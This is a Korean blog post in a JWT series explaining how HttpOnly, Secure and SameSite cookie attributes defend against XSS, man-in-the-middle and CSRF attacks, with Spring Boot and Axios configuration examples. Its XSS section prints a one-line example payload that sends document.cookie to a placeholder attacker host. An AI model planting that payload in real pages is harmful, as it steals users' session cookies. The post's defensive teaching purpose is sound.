๐Ÿช HttpOnly Secure ์ฟ ํ‚ค - ์™œ ์•ˆ์ „ํ•œ๊ฐ€

0

jwt

๋ชฉ๋ก ๋ณด๊ธฐ
2/4

โœ… 1. ์ฟ ํ‚ค(Cookie)๋ž€?

  • ์ฟ ํ‚ค(Cookie) ๋Š” ํด๋ผ์ด์–ธํŠธ(๋ธŒ๋ผ์šฐ์ €) ์ธก์—์„œ ์ €์žฅ๋˜๋Š” ์ž‘์€ ๋ฐ์ดํ„ฐ ์กฐ๊ฐ ์ด๋‹ค.
  • ์ฃผ๋กœ ์„ธ์…˜ ๊ด€๋ฆฌ, ์‚ฌ์šฉ์ž ์ธ์ฆ, ๊ฐœ์ธํ™”๋œ ์„ค์ •์„ ์œ ์ง€ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋œ๋‹ค.

๐Ÿ›ก๏ธ 2. ์ฟ ํ‚ค ๊ณต๊ฒฉ ๋ฒกํ„ฐ

์ผ๋ฐ˜์ ์ธ ์ฟ ํ‚ค๊ฐ€ ํƒˆ์ทจ๋‹นํ•˜๋Š” ์ฃผ์š” ๋ฐฉ๋ฒ•์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค:

โš ๏ธ 2.1 XSS (Cross-Site Scripting) ๊ณต๊ฒฉ

  • ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•: ๊ณต๊ฒฉ์ž๊ฐ€ ์›น ํŽ˜์ด์ง€์— ์•…์„ฑ JavaScript ์ฝ”๋“œ๋ฅผ ์‚ฝ์ž…ํ•œ๋‹ค.
  • ๋ชฉ์ : JavaScript๋ฅผ ํ†ตํ•ด document.cookie๋กœ ์ฟ ํ‚ค๋ฅผ ํƒˆ์ทจํ•œ๋‹ค.

์˜ˆ์‹œ:

<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
  • HttpOnly ์ฟ ํ‚ค๋Š”?
    • JavaScript๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์—†๊ธฐ ๋•Œ๋ฌธ์— document.cookie๋กœ ๊ฐ€์ ธ์˜ฌ ์ˆ˜ ์—†๋‹ค.

โœ… ๊ฒฐ๋ก : HttpOnly๊ฐ€ XSS ๊ณต๊ฒฉ์œผ๋กœ๋ถ€ํ„ฐ ์•ˆ์ „ํ•ฉ๋‹ˆ๋‹ค.


โš ๏ธ 2.2 ์ค‘๊ฐ„์ž ๊ณต๊ฒฉ (Man-in-the-Middle, MITM)

  • ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•: HTTP๋กœ ์ „์†ก๋˜๋Š” ์ฟ ํ‚ค๋ฅผ ๊ณต๊ฒฉ์ž๊ฐ€ ๊ฐ€๋กœ์ฑˆ๋‹ค.
  • Secure ์ฟ ํ‚ค๋Š”?
    • Secure ์†์„ฑ์ด ์„ค์ •๋œ ์ฟ ํ‚ค๋Š” HTTPS๋ฅผ ํ†ตํ•ด์„œ๋งŒ ์ „์†ก๋œ๋‹ค.
    • HTTP๋กœ ์ „์†ก๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ๊ฐ€๋กœ์ฑŒ ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

โœ… ๊ฒฐ๋ก : Secure๊ฐ€ MITM ๊ณต๊ฒฉ์œผ๋กœ๋ถ€ํ„ฐ ์•ˆ์ „ํ•ฉ๋‹ˆ๋‹ค.


โš ๏ธ 2.3 CSRF (Cross-Site Request Forgery)

  • ๊ณต๊ฒฉ ๋ฐฉ๋ฒ•: ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ•œ ์ƒํƒœ์—์„œ ์•…์„ฑ ์›น ์‚ฌ์ดํŠธ๊ฐ€ ์š”์ฒญ์„ ์ž๋™์œผ๋กœ ๋ณด๋‚ธ๋‹ค.
  • SameSite ์ฟ ํ‚ค๋Š”?
    • SameSite=Strict: ๋‹ค๋ฅธ ๋„๋ฉ”์ธ์—์„œ๋Š” ์ฟ ํ‚ค๋ฅผ ๋ณด๋‚ด์ง€ ์•Š๋Š”๋‹ค.
    • SameSite=Lax: ์™ธ๋ถ€ ๋งํฌ ํด๋ฆญ ์‹œ๋งŒ ์ฟ ํ‚ค ์ „์†ก.

โœ… ๊ฒฐ๋ก : SameSite๊ฐ€ CSRF ๊ณต๊ฒฉ์œผ๋กœ๋ถ€ํ„ฐ ์•ˆ์ „ํ•˜๋‹ค.


๐Ÿ” 3. HttpOnly Secure ์ฟ ํ‚ค์˜ ๋ณด์•ˆ ์›๋ฆฌ

โœ… 3.1 HttpOnly: JavaScript ์ ‘๊ทผ ์ฐจ๋‹จ

  • HttpOnly ์†์„ฑ์ด ์„ค์ •๋œ ์ฟ ํ‚ค๋Š” JavaScript๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์—†๋‹ค.
  • ๋ธŒ๋ผ์šฐ์ €๊ฐ€ document.cookie๋ฅผ ํ†ตํ•ด HttpOnly ์ฟ ํ‚ค๋ฅผ ๋…ธ์ถœํ•˜์ง€ ์•Š๋Š”๋‹ค.

์˜ˆ์‹œ (HttpOnly ์ฟ ํ‚ค):

Set-Cookie: sessionId=abc123; HttpOnly

JavaScript์—์„œ ์ ‘๊ทผ ์‹œ:

console.log(document.cookie); 
// ์ถœ๋ ฅ: ๋‹ค๋ฅธ ์ฟ ํ‚ค๋Š” ๋ณด์ด์ง€๋งŒ, HttpOnly ์ฟ ํ‚ค๋Š” ๋ณด์ด์ง€ ์•Š์Œ

โœ… ํ•ต์‹ฌ:

  • XSS ๊ณต๊ฒฉ์ž๊ฐ€ ์ฟ ํ‚ค์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†์Œ.

โœ… 3.2 Secure: HTTPS๋กœ๋งŒ ์ „์†ก

  • Secure ์†์„ฑ์ด ์„ค์ •๋œ ์ฟ ํ‚ค๋Š” HTTPS๋ฅผ ํ†ตํ•ด์„œ๋งŒ ์ „์†ก๋œ๋‹ค.
  • HTTP ํ†ต์‹ ์—์„œ๋Š” ์ฟ ํ‚ค๊ฐ€ ์ „์†ก๋˜์ง€ ์•ˆ๋Š”๋‹ค.

์˜ˆ์‹œ (Secure ์ฟ ํ‚ค):

Set-Cookie: sessionId=abc123; Secure

โœ… ํ•ต์‹ฌ:

  • ์ค‘๊ฐ„์ž ๊ณต๊ฒฉ(MITM)์ด HTTPS๋ฅผ ์šฐํšŒํ•˜์ง€ ์•Š๋Š” ์ด์ƒ ํƒˆ์ทจ ๋ถˆ๊ฐ€๋Šฅ.

โœ… 3.3 SameSite: CSRF ๋ฐฉ์–ด

  • SameSite=Strict: ์ฟ ํ‚ค๋Š” ๋™์ผ ์‚ฌ์ดํŠธ ์š”์ฒญ์—์„œ๋งŒ ์ „์†ก๋œ๋‹ค.
  • SameSite=Lax: ๋‹ค๋ฅธ ์‚ฌ์ดํŠธ์˜ ๋งํฌ๋ฅผ ํด๋ฆญํ•  ๋•Œ๋งŒ ์ฟ ํ‚ค๊ฐ€ ์ „์†ก๋œ๋‹ค.

์˜ˆ์‹œ (SameSite ์ฟ ํ‚ค):

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict

โœ… ํ•ต์‹ฌ:

  • ๋‹ค๋ฅธ ์‚ฌ์ดํŠธ์—์„œ ์ž๋™์œผ๋กœ ์š”์ฒญ์ด ์‹คํ–‰๋˜์ง€ ์•Š์Œ.

๐Ÿง  4. HttpOnly Secure ์ฟ ํ‚ค๊ฐ€ ์•ˆ์ „ํ•œ ์ด์œ  ์š”์•ฝ

์†์„ฑ๊ธฐ๋Šฅ๋ฐฉ์–ดํ•˜๋Š” ๊ณต๊ฒฉ
HttpOnlyJavaScript ์ ‘๊ทผ ์ฐจ๋‹จXSS (Cross-Site Scripting)
SecureHTTPS๋ฅผ ํ†ตํ•ด์„œ๋งŒ ์ฟ ํ‚ค ์ „์†กMITM (Man-in-the-Middle)
SameSite์™ธ๋ถ€ ์‚ฌ์ดํŠธ์—์„œ ์ฟ ํ‚ค ์ž๋™ ์ „์†ก ์ฐจ๋‹จCSRF (Cross-Site Request Forgery)

๐Ÿ› ๏ธ 5. HttpOnly Secure ์ฟ ํ‚ค ์„ค์ • ๋ฐฉ๋ฒ•

โœ… 5.1 Spring Boot ์˜ˆ์‹œ

ResponseCookie jwtCookie = ResponseCookie.from("refreshToken", token)
    .httpOnly(true)        // JavaScript ์ ‘๊ทผ ์ฐจ๋‹จ
    .secure(true)          // HTTPS๋กœ๋งŒ ์ „์†ก
    .sameSite("Strict")    // CSRF ๋ฐฉ์–ด
    .path("/")             // ๋ชจ๋“  ๊ฒฝ๋กœ์—์„œ ์‚ฌ์šฉ ๊ฐ€๋Šฅ
    .maxAge(Duration.ofDays(7)) // 7์ผ ์œ ์ง€
    .build();

response.addHeader("Set-Cookie", jwtCookie.toString());

โœ… 5.2 ํด๋ผ์ด์–ธํŠธ ์„ค์ • (Axios ์˜ˆ์ œ)

Axios๋กœ ์ฟ ํ‚ค ์ž๋™ ์ „์†ก:

import axios from 'axios';

axios.defaults.withCredentials = true; // ์ฟ ํ‚ค ์ž๋™ ์ „์†ก
axios.post('https://api.example.com/login', { username, password });

๐Ÿšฆ 6. HttpOnly Secure ์ฟ ํ‚ค๋Š” ์™„๋ฒฝํ• ๊นŒ?

โœ… ๋ณด์•ˆ ๊ฐ•์ :

  1. XSS ๋ฐฉ์–ด: JavaScript๋กœ ์ ‘๊ทผ ๋ถˆ๊ฐ€.
  2. MITM ๋ฐฉ์–ด: HTTPS๋ฅผ ํ†ตํ•ด์„œ๋งŒ ์ „์†ก.
  3. CSRF ๋ฐฉ์–ด: SameSite ์„ค์ •์œผ๋กœ ์™ธ๋ถ€ ์š”์ฒญ ์ฐจ๋‹จ.

โš ๏ธ ํ•œ๊ณ„์ :

  1. ๋ฌผ๋ฆฌ์  ํƒˆ์ทจ: ์‚ฌ์šฉ์ž์˜ ๋””๋ฐ”์ด์Šค๊ฐ€ ํƒˆ์ทจ๋˜๋ฉด ์ฟ ํ‚ค๋ฅผ ์—ด์–ด๋ณผ ์ˆ˜ ์žˆ๋‹ค.
  2. ๋ธŒ๋ผ์šฐ์ € ์ทจ์•ฝ์ : ๋ธŒ๋ผ์šฐ์ € ๋ณด์•ˆ์— ์ทจ์•ฝ์ ์ด ์žˆ์„ ๊ฒฝ์šฐ ๋…ธ์ถœ ๊ฐ€๋Šฅ.
  3. ๋กœ๊ทธ์•„์›ƒ ๊ด€๋ฆฌ: ์„œ๋ฒ„์—์„œ ์ฟ ํ‚ค๋ฅผ ๊ฐ•์ œ๋กœ ๋ฌดํšจํ™”ํ•  ์ˆ˜ ์—†์Œ.

โ†’ ์ด ํ•œ๊ณ„๋ฅผ ๋ณด์™„ํ•˜๊ธฐ ์œ„ํ•ด Redis๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Refresh Token์„ ์ค‘์•™ ๊ด€๋ฆฌํ•œ๋‹ค.


๐ŸŽฏ 7. ์ตœ์ข… ๊ฒฐ๋ก 

  • HttpOnly Secure ์ฟ ํ‚ค๋Š” ํด๋ผ์ด์–ธํŠธ ์ธก ํ† ํฐ ์ €์žฅ์˜ ์ตœ์  ๋ฐฉ๋ฒ•์ด๋‹ค.
  • JavaScript ์ ‘๊ทผ ์ฐจ๋‹จ (XSS ๋ฐฉ์–ด), HTTPS ํ†ต์‹  (MITM ๋ฐฉ์–ด), CSRF ๋ฐฉ์–ด๋ฅผ ์ œ๊ณตํ•œ๋‹ค.
  • ์™„๋ฒฝํ•œ ๋ณด์•ˆ์„ ์œ„ํ•ด:
    1. HttpOnly Secure ์ฟ ํ‚ค๋กœ Refresh Token ์ €์žฅ
    2. Redis๋กœ ์ค‘์•™ ์ง‘์ค‘์‹ ๊ด€๋ฆฌ

๐Ÿš€ 8. ์ถ”์ฒœ ๋ณด์•ˆ ์กฐ์น˜

  1. HttpOnly + Secure + SameSite=Strict ์ฟ ํ‚ค ์‚ฌ์šฉ
  2. Access Token์€ ์งง์€ ์œ ํšจ ๊ธฐ๊ฐ„ ์„ค์ •
  3. Redis๋กœ Refresh Token ์ค‘์•™ ๊ด€๋ฆฌ ๋ฐ TTL ์„ค์ •
  4. ๋ชจ๋‹ˆํ„ฐ๋ง ๋„๊ตฌ๋กœ ์ฟ ํ‚ค ๋ฐ Redis ์ƒํƒœ ์ ๊ฒ€

์ด์ œ HttpOnly Secure ์ฟ ํ‚ค๊ฐ€ ์™œ ์•ˆ์ „ํ•œ์ง€ ๋ช…ํ™•ํ•ด์กŒ๋‚˜์š”? ๐Ÿ˜Š
๋” ๊นŠ์ด ์•Œ๊ณ  ์‹ถ์€ ๋ถ€๋ถ„์ด๋‚˜ ์ถ”๊ฐ€ ์งˆ๋ฌธ์ด ์žˆ๋‹ค๋ฉด ๋ง์”€ํ•ด์ฃผ์„ธ์š”! ๐Ÿš€๐Ÿ”

0๊ฐœ์˜ ๋Œ“๊ธ€